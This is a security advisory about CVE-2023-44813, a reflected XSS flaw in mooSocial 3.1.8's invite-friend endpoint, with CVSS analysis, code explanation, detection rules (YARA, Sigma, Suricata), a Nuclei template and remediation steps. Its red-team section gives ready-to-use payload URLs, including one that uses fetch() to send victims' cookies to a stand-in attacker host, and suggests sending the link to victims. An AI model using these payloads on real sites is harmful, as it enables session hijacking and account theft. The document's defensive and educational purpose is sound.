CVE-2023-44813

Executive Summary

CVE-2023-44813 is a reflected Cross-Site Scripting (XSS) vulnerability identified in mooSocial version 3.1.8. The flaw resides in the mode parameter of the invite friend login function, accessible via the /friends/ajax_invite endpoint. An attacker can inject arbitrary JavaScript code by crafting a malicious payload, leading to potential session hijacking, data theft, or defacement. The vulnerability has a CVSS v3.1 score of 6.1 (Medium) and is publicly exploitable with a verified proof-of-concept (PoC). No official patch has been released by the vendor, making this a high-priority risk for any instance running the affected version.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a standalone PHP-based social networking platform (mooSocial). No supply chain attack vector is identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and public PoC increases the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the mode parameter of the /friends/ajax_invite endpoint. The application fails to sanitize or encode user input before reflecting it in the JavaScript context. The PoC payload mode=model')%3balert(document.domain)%2f%2f;' breaks out of a JavaScript string context and executes arbitrary code.

Technical Flow:

1. The attacker crafts a URL: http://target/friends/ajax_invite?mode=model')%3balert(document.domain)%2f%2f;'
2. The victim clicks the link (or is redirected via social engineering).
3. The server returns a response containing the unsanitized payload within a JavaScript function call: initInviteFriendBtn('model');alert(document.domain)//;');
4. The browser executes the injected alert(document.domain) as part of the JavaScript context.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The mode parameter is directly concatenated into a JavaScript string without proper escaping.

Vulnerable vs. Patched Code

Vulnerable Code (mooSocial 3.1.8): The vulnerable code likely resides in a PHP file handling the invite friend function. The parameter mode is directly echoed into a JavaScript block without sanitization.

// Vulnerable example (conceptual)
$mode = $_GET['mode'];
echo "<script>initInviteFriendBtn('$mode');</script>";

Patched Code (Hypothetical): A patched version would properly escape the output using htmlspecialchars() or json_encode() to neutralize JavaScript context.

// Patched example (conceptual)
$mode = $_GET['mode'];
$safe_mode = htmlspecialchars($mode, ENT_QUOTES, 'UTF-8');
echo "<script>initInviteFriendBtn('$safe_mode');</script>";

Since no official patch exists, the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running mooSocial 3.1.8
• A victim user who clicks the crafted link

Exploit Steps:

1. Craft the malicious URL:

   http://target/friends/ajax_invite?mode=model')%3balert(document.cookie)%2f%2f;'
   

2. Send the link to the victim via email, chat, or other means.
3. Upon clicking, the victim's browser executes the injected JavaScript, exfiltrating cookies or performing other actions.

Advanced Payload (Session Hijacking):

http://target/friends/ajax_invite?mode=model')%3bfetch('http://attacker/steal?cookie='%2bdocument.cookie)%2f%2f;'

No Exploit-DB code was provided.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /friends/ajax_invite with suspicious mode parameters containing JavaScript syntax (e.g., alert(, fetch(, %3b, %2f).
• Use WAF rules to block requests with XSS patterns in the mode parameter.

Defense:

• Apply input validation and output encoding on the server side.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use a Web Application Firewall (WAF) to block known XSS payloads.
• Upgrade to a patched version when available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /friends/ajax_invite with mode parameter containing:
  • %3b (semicolon)
  • %2f%2f (double slash)
  • alert(, fetch(, document.cookie
• Referer header from external domains (phishing links).

Host IOCs:

• Web server logs showing unusual mode parameter values.
• Browser console errors or unexpected JavaScript execution.

File IOCs:

• No specific file-based IOCs; this is a server-side code vulnerability.

Detection Engineering

YARA Rule

rule CVE_2023_44813_XSS_mooSocial {
    meta:
        description = "Detects XSS payload in mode parameter for CVE-2023-44813"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-44813"
    strings:
        $payload1 = "mode="
        $payload2 = "%3balert("
        $payload3 = "%2f%2f"
        $payload4 = "initInviteFriendBtn("
    condition:
        all of ($payload*) and #payload1 > 0
}

Sigma Rule

title: CVE-2023-44813 - XSS in mooSocial Invite Friend
id: 5b0a0048-3046-0221-0099-709ac652e6db
status: experimental
description: Detects exploitation attempts of reflected XSS in mooSocial 3.1.8
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains:
            - "/friends/ajax_invite?mode="
            - "%3balert("
            - "%2f%2f"
    condition: selection
falsepositives:
    - Legitimate use of similar patterns (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-44813 - mooSocial XSS Attempt";
    flow:to_server,established;
    content:"/friends/ajax_invite"; http_uri;
    content:"mode="; http_uri;
    content:"%3b"; http_uri;
    content:"%2f%2f"; http_uri;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2023-44813

info:
  name: mooSocial v.3.1.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-Site Scripting (XSS) vulnerability in mooSocial v.3.1.8 allows a remote attacker to execute arbitrary code via a crafted payload to the mode parameter of the invite friend login function.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft
  remediation: |
    Upgrade to a patched version of mooSocial
  reference:
    - https://github.com/ahrixia/CVE-2023-44813
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44813
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44813
    cwe-id: CWE-79
    epss-score: 0.37798
    epss-percentile: 0.97223
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query:
      - http.favicon.hash:702863115
      - http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve,cve2023,moosocial,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/friends/ajax_invite?mode=model%27)%3balert(document.domain)%2f%2f;'"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "initInviteFriendBtn('model');alert(document.domain)//;"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210099709ac652e6db3463cd2a1dcfee498ec7ea24928506752740acf7b42d67ee2b0221009f1d2cbc55032082dc09305d4137cb2a1d3eee640c3f462c382aef803a6c04e9:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the mode parameter using htmlspecialchars() or filter_input() with appropriate flags.
2. Output Encoding: Encode all user-supplied data before rendering in JavaScript context.
3. WAF Rules: Deploy WAF rules to block requests containing %3b, %2f%2f, or alert( in the mode parameter.
4. CSP Header: Implement a strict Content Security Policy that disallows inline scripts.

Long-Term Fix:

• Upgrade to a patched version of mooSocial once released.
• Conduct a full security audit of the application for similar injection flaws.

Vendor Status: No official patch available. Monitor the vendor's website for updates.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: B7E9AB79E475882094E7D25B] */}